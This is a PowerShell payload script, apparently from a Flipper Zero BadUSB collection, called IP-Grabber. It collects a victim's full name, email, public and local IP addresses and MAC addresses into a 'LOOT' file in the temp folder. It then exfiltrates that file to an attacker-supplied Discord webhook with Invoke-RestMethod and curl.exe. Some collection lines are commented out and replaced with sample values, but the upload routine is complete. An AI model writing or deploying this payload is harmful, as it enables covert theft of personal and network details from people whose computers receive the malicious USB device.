Flipper-Zero-BadUSB/Payloads/Flip-IP-Grabber/IP-Grabber.ps1
2023-01-07 12:44:03 -06:00

125 lines
3.3 KiB
PowerShell

$FileName = "$env:tmp/$env:USERNAME-LOOT-$(get-date -f yyyy-MM-dd_hh-mm).txt"
#------------------------------------------------------------------------------------------------------------------------------------
function Get-fullName {
try {
$fullName = (Get-LocalUser -Name $env:USERNAME).FullName
}
# If no name is detected function will return $env:UserName
# Write Error is just for troubleshooting
catch {Write-Error "No name was detected"
return $env:UserName
-ErrorAction SilentlyContinue
}
return $fullName
}
$fullName = Get-fullName
#------------------------------------------------------------------------------------------------------------------------------------
function Get-email {
try {
$email = (Get-CimInstance CIM_ComputerSystem).PrimaryOwnerName
return $email
}
# If no email is detected function will return backup message for sapi speak
# Write Error is just for troubleshooting
catch {Write-Error "An email was not found"
return "No Email Detected"
-ErrorAction SilentlyContinue
}
}
#$email = Get-email
$email = "iamjakoby@example.com"
#------------------------------------------------------------------------------------------------------------------------------------
#try{$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content}
#catch{$computerPubIP="Error getting Public IP"}
$computerPubIP="74.36.101.154"
#$localIP = Get-NetIPAddress -InterfaceAlias "*Ethernet*","*Wi-Fi*" -AddressFamily IPv4 | Select InterfaceAlias, IPAddress, PrefixOrigin | Out-String
$localIP = @"
InterfaceAlias IPAddress PrefixOrigin
-------------- --------- ------------
Ethernet 2 162.254.121.60 WellKnown
Ethernet 192.165.254.16 Dhcp
Wi-Fi 169.254.1.58 WellKnown
"@
#$MAC = Get-NetAdapter -Name "*Ethernet*","*Wi-Fi*"| Select Name, MacAddress, Status | Out-String
$MAC = @"
Name MacAddress Status
---- ---------- ------
Ethernet 2 A4-E0-62-D0-38-D6 Disconnected
Ethernet CE-80-B7-66-A4-CF Up
Wi-Fi D0-97-B0-8A-23-19 Disconnected
"@
#------------------------------------------------------------------------------------------------------------------------------------
$output = @"
Full Name: $fullName
Email: $email
------------------------------------------------------------------------------------------------------------------------------
Public IP:
$computerPubIP
Local IPs:
$localIP
MAC:
$MAC
"@
$output > $FileName
#------------------------------------------------------------------------------------------------------------------------------------
function Upload-Discord {
[CmdletBinding()]
param (
[parameter(Position=0,Mandatory=$False)]
[string]$file,
[parameter(Position=1,Mandatory=$False)]
[string]$text
)
$hookurl = "$dc"
$Body = @{
'username' = $env:username
'content' = $text
}
if (-not ([string]::IsNullOrEmpty($text))){
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
}
if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$FileName"}
#------------------------------------------------------------------------------------------------------------------------------------